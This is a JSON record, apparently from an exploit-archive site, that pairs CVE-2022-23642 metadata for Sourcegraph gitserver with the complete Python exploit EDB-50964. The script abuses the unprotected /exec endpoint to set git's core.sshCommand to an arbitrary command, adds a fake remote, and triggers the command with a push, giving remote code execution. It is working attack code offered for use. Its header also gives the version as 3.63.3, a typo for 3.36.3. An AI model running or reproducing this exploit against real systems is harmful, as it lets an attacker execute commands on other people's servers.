{"exploit":{"id":"EDB-50964","name":"Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)","description":"Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)","cves":["CVE-2022-23642"],"author":"Altelus","published":"2022-06-14","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/50964","path":"exploits/multiple/remote/50964.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-50964.py","vulnerabilities":[{"id":"CVE-2022-23642","state":"PUBLISHED","title":"Code Injection in Sourcegraph","titleSource":"CVE Program","description":"Sourcegraph is a code search and navigation engine. Sourcegraph prior to version 3.37 is vulnerable to remote code execution in the `gitserver` service. The service acts as a git exec proxy, and fails to properly restrict calling `git config`. This allows an attacker to set the git `core.sshCommand` option, which sets git to use the specified command instead of ssh when they need to connect to a remote system. Exploitation of this vulnerability depends on how Sourcegraph is deployed. An attacker able to make HTTP requests to internal services like gitserver is able to exploit it. This issue is patched in Sourcegraph version 3.37. As a workaround, ensure that requests to gitserver are properly protected.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-23642","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-23642"},"updatedAt":"2025-04-22T18:21:53.481Z","retrievedAt":"2026-11-26T21:00:28.413Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-50964.png?v=2","url":"https://exploitbin.com/exploits/EDB-50964","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-50964/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-50964/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)\n# Date: 2022-06-10\n# Exploit Author: Altelus\n# Vendor Homepage: https://about.sourcegraph.com/\n# Version: 3.63.3\n# Tested on: Linux\n# CVE : CVE-2022-23642\n# Docker Container: sourcegraph/server:3.36.3\n\n# Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service.\n# This is due to lack of restriction on git config execution thus \"core.sshCommand\" can be passed\n# on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible\n# if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3\n#\n# Exploitation parameters:\n# - Exposed Sourcegraph gitserver\n# - Existing repo on sourcegraph\n\n\n\nimport json\nimport argparse\nimport requests\n\ndef exploit(host, existing_git, cmd):\n\n    # setting sshCommand\n    data = {\n        \"Repo\" : existing_git,\n        \"Args\" : [\n            \"config\",\n            \"core.sshCommand\",\n            cmd\n        ]\n    }\n\n    res = requests.get(host+\"/exec\", json=data).text\n\n    if len(res) > 0:\n        print(\"[-] Didn't work: {}\".format(res))\n        exit(0)\n\n    # setting fake origin\n    data = {\n        \"Repo\" : existing_git,\n        \"Args\" : [\n            \"remote\",\n            \"add\",\n            \"origin\",\n            \"git@lolololz:foo/bar.git\"\n        ]\n    }\n\n    res = requests.get(host+\"/exec\", json=data).text\n\n    if len(res) > 0:\n        print(\"[-] Didn't work: {}\".format(res))\n        exit(0)\n\n    # triggering command using push\n    data = {\n        \"Repo\" : existing_git,\n        \"Args\" : [\n            \"push\",\n            \"origin\",\n            \"master\"\n        ]\n    }\n\n    res = requests.get(host+\"/exec\", json=data).text\n\n    print(\"[*] Finished executing exploit\")\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--gitserver-host', required=True, help=\"Target Sourcegraph Gitserver Host\")\nparser.add_argument('--existing-git', required=True, help=\"e.g. Link of existing repository in target Sourcegraph\")\nparser.add_argument('--cmd', required=True, help=\"Command to run\")\nargs = parser.parse_args()\n\nhost = args.gitserver_host\nexisting_git = args.existing_git\ncmd = args.cmd\n\n\nexploit(host, existing_git, cmd)","sha256":"8c7c42b606c0e3da7fbb2987a91634672412c33ac461ce3a1ed0df55f6451f16","bytes":2231,"fetchedAt":"2026-11-27T01:06:36.700Z","encoding":"utf-8 (display only; download retains original bytes)"}